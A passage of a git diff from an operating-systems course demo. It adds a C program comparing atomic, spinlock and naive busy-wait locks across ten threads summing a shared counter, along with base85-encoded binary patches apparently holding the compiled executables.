zLS!Iw1AP_?@R$dX4fG_yS~O7%&?O9|1n+2pXs^6zdn0h7IAJO-5@Dh8_lKc|VnUeR zqYep++ykLr8^Eb!0o+IWac=+??MnB+E)?&z)jUsqPp3m>PwKg+usUSy_G&(8 zNr!6usPvuoEf9Q+H5pa@QCEUn~Z6i;{Jh(}J=Ud=-XWJT3Fm(UhIRG#R4_|qDbs=u1Ao{$xG)?euQ5LYnh#J_mA#t(R*?acS|@YHPqlwPbjZG$l#$fBn<4FW z89%Zo8&$rte;gR8NcHS|nt#~>T&+JM%M+DlPZ=b@bq-rn+QzKJMF*kuvg!&s_$C+zQF#J!+uoGBSvNUKc&jqk~4niAoJs&4U>A0@MU4- z)OYf4K&`}PujWtQ-_ib8u%#-h^3^=O^mnv>2e#CAmA!foqP|1EAlt9{x2nJD2S**{ ztM?_B<*Ns!4>g_?ujsFV+Uw8sPNAp^vPY2YQQ0Ya84|m_niuWSg^8-Ca-i%Ke+3!B zRQuJq`=Bl~BoPdbPTq~esr=fkhR7)UdIwIrloXvU?FBk{{IM?bPQS`dY0{#w6C>Gs zy3nX~Trf^uzF;L(bB@e2?y#;^Of7Jco2P|Lt!5g?6 KcF-Yomj8cN$&l9o literal 0 HcmV?d00001 diff --git a/courses/curs-09-demo/lock/lock.c b/courses/curs-09-demo/lock/lock.c new file mode 100644 index 00000000..19ae305a --- /dev/null +++ b/courses/curs-09-demo/lock/lock.c @@ -0,0 +1,100 @@ +#include +#include +#include +#include +#include +#include + +#include "utils.h" + +#ifdef USE_ATOMIC +#define my_lock() atomic_lock() +#define my_unlock() atomic_unlock() +#elif USE_SPINLOCK +#define my_lock() spin_lock() +#define my_unlock() spin_unlock() +#else +#define my_lock() simple_lock() +#define my_unlock() simple_unlock() +#endif + +static unsigned int glock = 0; + +static void atomic_lock(void) +{ + while (__sync_bool_compare_and_swap(&glock, 0, 1) == 0) + ; +} + +static void atomic_unlock(void) +{ + glock = 0; +} + +static pthread_spinlock_t spin; + +static void spin_lock(void) +{ + pthread_spin_lock(&spin); +} + +static void spin_unlock(void) +{ + pthread_spin_unlock(&spin); +} + +static void simple_lock(void) +{ + while (glock != 0) + ; + glock = 1; +} + +static void simple_unlock(void) +{ + glock = 0; +} + +#define NUM_ROUNDS 100000 +#define NUM_THREADS 10 + +static unsigned long sum = 0; + +static void *thread_func(void *arg) +{ + size_t v = (size_t) arg; + size_t i; + + for (i = 0; i < NUM_ROUNDS; i++) { + my_lock(); + sum += v; + my_unlock(); + } + + return NULL; +} + +int main(void) +{ + size_t i; + pthread_t th[NUM_THREADS]; + int rc; + + pthread_spin_init(&spin, 0); + + for (i = 0; i < NUM_THREADS; i++) { + rc = pthread_create(&th[i], NULL, thread_func, (void *) i); + DIE(rc < 0, "pthread_create"); + } + + for (i = 0; i < NUM_THREADS; i++) { + rc = pthread_join(th[i], NULL); + DIE(rc < 0, "pthread_join"); + } + + pthread_spin_destroy(&spin); + + printf("sum is: %lu\n", sum); + + return 0; +} diff --git a/courses/curs-09-demo/lock/lock_atomic b/courses/curs-09-demo/lock/lock_atomic new file mode 100644 index 0000000000000000000000000000000000000000..ee665204518ac0fbaaa4098f9ce2b5a7894c8761 GIT binary patch literal 16664 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 